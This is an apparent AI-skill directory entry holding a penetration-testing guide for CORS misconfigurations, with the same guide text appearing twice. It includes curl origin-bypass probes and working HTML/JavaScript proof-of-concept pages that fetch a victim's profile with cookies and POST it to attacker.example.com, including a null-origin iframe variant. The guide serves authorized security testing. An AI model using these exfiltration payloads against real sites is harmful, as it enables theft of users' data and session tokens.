[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGAH1D44PF8MH1V2ATJK0D":3,"skill-same:01M6AGAH1D44PF8MH1V2ATJK0D":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AGAH1D44PF8MH1V2ATJK0D","testing-cors-misconfiguration",null,"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-cors-misconfiguration\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing cors misconfiguration","misconfiguration","testing","t1003","cors","application-security","t1505","burpsuite","web-security","t1059","web-application-security","owasp","sharing","data","penetration-testing","pr","web","cybersecurity","policy","security","2026-11-10 10:12:30",false,"---\nname: testing-cors-misconfiguration\ndescription: Identifying and exploiting Cross-Origin Resource Sharing misconfigurations\n  that allow unauthorized cross-domain data access and credential theft during security\n  assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- cors\n- web-security\n- owasp\n- same-origin-policy\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1003\n---\n\n# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n","# Testing CORS Misconfiguration\n\n## When to Use\n\n- During authorized penetration tests when assessing API endpoints for cross-origin access controls\n- When testing single-page applications that make cross-origin API requests\n- For evaluating whether sensitive data can be exfiltrated from a victim's browser session\n- When assessing microservice architectures with multiple domains sharing data\n- During security audits of applications using CORS headers for cross-domain communication\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying Origin headers\n- **Browser with DevTools**: For observing CORS behavior in real browser context\n- **Attacker web server**: For hosting CORS exploitation PoC pages\n- **curl**: For manual CORS header testing\n- **Python HTTP server**: For hosting exploit pages locally\n\n## Workflow\n\n### Step 1: Identify CORS Configuration on Target Endpoints\n\nCheck all API endpoints for CORS response headers.\n\n```bash\n# Test with a foreign Origin header\ncurl -s -I \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check for CORS headers in response:\n# Access-Control-Allow-Origin: https:\u002F\u002Fevil.example.com  (BAD: reflects any origin)\n# Access-Control-Allow-Origin: *  (BAD if with credentials)\n# Access-Control-Allow-Credentials: true  (allows cookies)\n# Access-Control-Allow-Methods: GET, POST, PUT, DELETE\n# Access-Control-Allow-Headers: Authorization, Content-Type\n# Access-Control-Expose-Headers: X-Custom-Header\n\n# Test multiple endpoints\nfor endpoint in \u002Fapi\u002Fuser\u002Fprofile \u002Fapi\u002Fuser\u002Fsettings \u002Fapi\u002Ftransactions \\\n  \u002Fapi\u002Fadmin\u002Fusers \u002Fapi\u002Faccount\u002Fbalance; do\n  echo \"=== $endpoint ===\"\n  curl -s -I \\\n    -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n    \"https:\u002F\u002Fapi.target.example.com$endpoint\" | \\\n    grep -i \"access-control\"\n  echo\ndone\n```\n\n### Step 2: Test Origin Reflection and Validation Bypass\n\nDetermine how the server validates the Origin header.\n\n```bash\n# Test 1: Arbitrary origin reflection\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 2: Null origin\ncurl -s -I -H \"Origin: null\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 3: Subdomain matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.target.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 4: Prefix\u002Fsuffix matching bypass\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\ncurl -s -I -H \"Origin: https:\u002F\u002Feviltarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 5: Protocol downgrade\ncurl -s -I -H \"Origin: http:\u002F\u002Ftarget.example.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 6: Special characters in origin\ncurl -s -I -H \"Origin: https:\u002F\u002Ftarget.example.com%60.evil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | grep -i \"access-control-allow-origin\"\n\n# Test 7: Wildcard with credentials check\ncurl -s -I -H \"Origin: https:\u002F\u002Fevil.com\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fpublic\" | grep -iE \"access-control-allow-(origin|credentials)\"\n# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure\n```\n\n### Step 3: Test Preflight Request Handling\n\nAssess how the server handles OPTIONS preflight requests.\n\n```bash\n# Send preflight request\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: Authorization, Content-Type\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\"\n\n# Check:\n# Access-Control-Allow-Methods: should only list needed methods\n# Access-Control-Allow-Headers: should only list needed headers\n# Access-Control-Max-Age: preflight cache duration (long = risky)\n\n# Test if dangerous methods are allowed\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: DELETE\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-allow-methods\"\n\n# Test if preflight is cached too long\ncurl -s -I -X OPTIONS \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  -H \"Access-Control-Request-Method: GET\" \\\n  \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n  grep -i \"access-control-max-age\"\n# max-age > 86400 (1 day) allows prolonged abuse after policy change\n```\n\n### Step 4: Craft CORS Exploitation Proof of Concept\n\nBuild an HTML page that exploits the CORS misconfiguration to steal data.\n\n```html\n\u003C!-- cors-exploit.html - Host on attacker server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>CORS Exploitation Proof of Concept\u003C\u002Fh1>\n\u003Cdiv id=\"result\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F Exploit: Read victim's profile data cross-origin\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n  if (xhr.readyState === 4) {\n    \u002F\u002F Data successfully stolen cross-origin\n    document.getElementById('result').innerText = xhr.responseText;\n\n    \u002F\u002F Exfiltrate to attacker server\n    var exfil = new XMLHttpRequest();\n    exfil.open('POST', 'https:\u002F\u002Fattacker.example.com\u002Fcollect', true);\n    exfil.setRequestHeader('Content-Type', 'application\u002Fjson');\n    exfil.send(xhr.responseText);\n  }\n};\nxhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', true);\nxhr.withCredentials = true;  \u002F\u002F Include victim's cookies\nxhr.send();\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n```html\n\u003C!-- Exploit using fetch API -->\n\u003Cscript>\nfetch('https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile', {\n  credentials: 'include'\n})\n.then(response => response.json())\n.then(data => {\n  \u002F\u002F Steal sensitive data\n  fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n    method: 'POST',\n    body: JSON.stringify(data)\n  });\n  console.log('Stolen data:', data);\n});\n\u003C\u002Fscript>\n```\n\n### Step 5: Exploit Null Origin Vulnerability\n\nIf `Origin: null` is allowed, exploit via sandboxed iframes.\n\n```html\n\u003C!-- null-origin-exploit.html -->\n\u003Chtml>\n\u003Cbody>\n\u003Ch1>Null Origin CORS Exploit\u003C\u002Fh1>\n\u003C!--\n  Sandboxed iframe sends requests with Origin: null\n  If server reflects Access-Control-Allow-Origin: null with credentials,\n  data can be exfiltrated\n-->\n\u003Ciframe sandbox=\"allow-scripts allow-top-navigation allow-forms\"\n  srcdoc=\"\n  \u003Cscript>\n    var xhr = new XMLHttpRequest();\n    xhr.onload = function() {\n      \u002F\u002F Send stolen data to parent or attacker server\n      fetch('https:\u002F\u002Fattacker.example.com\u002Fcollect', {\n        method: 'POST',\n        body: xhr.responseText\n      });\n    };\n    xhr.open('GET', 'https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile');\n    xhr.withCredentials = true;\n    xhr.send();\n  \u003C\u002Fscript>\n\">\u003C\u002Fiframe>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- Alternative: data: URI for null origin -->\n\u003C!-- Open in browser: data:text\u002Fhtml,\u003Cscript>...\u003C\u002Fscript> -->\n```\n\n### Step 6: Test for Internal Network Access via CORS\n\nCheck if CORS allows access from internal origins that could be leveraged via XSS.\n\n```bash\n# Test internal\u002Fdevelopment origins\nINTERNAL_ORIGINS=(\n  \"http:\u002F\u002Flocalhost\"\n  \"http:\u002F\u002Flocalhost:3000\"\n  \"http:\u002F\u002Flocalhost:8080\"\n  \"http:\u002F\u002F127.0.0.1\"\n  \"http:\u002F\u002F192.168.1.1\"\n  \"http:\u002F\u002F10.0.0.1\"\n  \"https:\u002F\u002Fstaging.target.example.com\"\n  \"https:\u002F\u002Fdev.target.example.com\"\n  \"https:\u002F\u002Ftest.target.example.com\"\n)\n\nfor origin in \"${INTERNAL_ORIGINS[@]}\"; do\n  echo -n \"$origin: \"\n  curl -s -I -H \"Origin: $origin\" \\\n    \"https:\u002F\u002Fapi.target.example.com\u002Fapi\u002Fuser\u002Fprofile\" | \\\n    grep -i \"access-control-allow-origin\" | tr -d '\\r'\n  echo\ndone\n\n# If internal origins are allowed and have XSS:\n# 1. Find XSS on http:\u002F\u002Fsubdomain.target.example.com\n# 2. Use XSS to make CORS request to api.target.example.com\n# 3. Exfiltrate data via the XSS + CORS chain\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Same-Origin Policy** | Browser security model preventing scripts from one origin accessing data from another |\n| **CORS** | Mechanism allowing servers to specify which origins can access their resources |\n| **Origin Reflection** | Server mirrors the request Origin header in the ACAO response header (dangerous) |\n| **Null Origin** | Special origin value from sandboxed iframes, data URIs, and redirects |\n| **Preflight Request** | OPTIONS request sent before certain cross-origin requests to check permissions |\n| **Credentialed Requests** | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |\n| **Wildcard CORS** | `Access-Control-Allow-Origin: *` allows any origin but prohibits credentials |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Intercepting requests and modifying Origin headers |\n| **CORScanner** | Automated CORS misconfiguration scanner (`pip install corscanner`) |\n| **cors-scanner** | Node.js-based CORS testing tool |\n| **Browser DevTools** | Monitoring CORS errors and network requests in real browser context |\n| **Python http.server** | Hosting CORS exploit PoC pages |\n| **OWASP ZAP** | Automated CORS misconfiguration detection |\n\n## Common Scenarios\n\n### Scenario 1: Full Origin Reflection\nThe API reflects any Origin header in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`. Any website can read authenticated API responses, stealing user data.\n\n### Scenario 2: Null Origin Allowed\nThe server allows `Origin: null` with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.\n\n### Scenario 3: Subdomain Wildcard Trust\nThe CORS policy allows `*.target.example.com`. An attacker finds XSS on `forum.target.example.com` and uses it to make cross-origin requests to `api.target.example.com`, stealing user data through the trusted subdomain.\n\n### Scenario 4: Regex Bypass on Origin Validation\nThe server uses regex `target\\.example\\.com` to validate origins, but fails to anchor the regex. `attackertarget.example.com` matches and is allowed access.\n\n## Output Format\n\n```\n## CORS Misconfiguration Finding\n\n**Vulnerability**: CORS Origin Reflection with Credentials\n**Severity**: High (CVSS 8.1)\n**Location**: All \u002Fapi\u002F* endpoints on api.target.example.com\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### CORS Configuration Observed\n| Header | Value |\n|--------|-------|\n| Access-Control-Allow-Origin | [Reflects request Origin] |\n| Access-Control-Allow-Credentials | true |\n| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |\n| Access-Control-Expose-Headers | X-Auth-Token |\n\n### Origin Validation Results\n| Origin Tested | Reflected | Credentials |\n|---------------|-----------|-------------|\n| https:\u002F\u002Fevil.com | Yes | Yes |\n| null | Yes | Yes |\n| http:\u002F\u002Flocalhost | Yes | Yes |\n| https:\u002F\u002Fevil.target.example.com | Yes | Yes |\n\n### Impact\n- Any website can read authenticated API responses in victim's browser\n- User profile data (email, phone, address) exfiltrable\n- Session tokens exposed via X-Auth-Token header\n- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)\n\n### Recommendation\n1. Implement a strict allowlist of trusted origins\n2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin\n3. Do not allow Origin: null with credentials\n4. Validate origins with exact string matching, not regex substring matching\n5. Set Access-Control-Max-Age to a reasonable value (600 seconds)\n```\n",{"name":5,"tags":52,"author":54,"domain":44,"license":15,"version":55,"nist_csf":56,"subdomain":37,"description":7,"mitre_attack":61},[41,31,35,38,53,34],"same-origin-policy","mahipal","1.0",[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[62,63,64,65,66],"T1190","T1059.007","T1505.003","T1083","T1003","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-cors-misconfiguration",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-cors-misconfiguration",{"tool":83,"command":84},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-cors-misconfiguration",{"tool":86,"command":87},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill 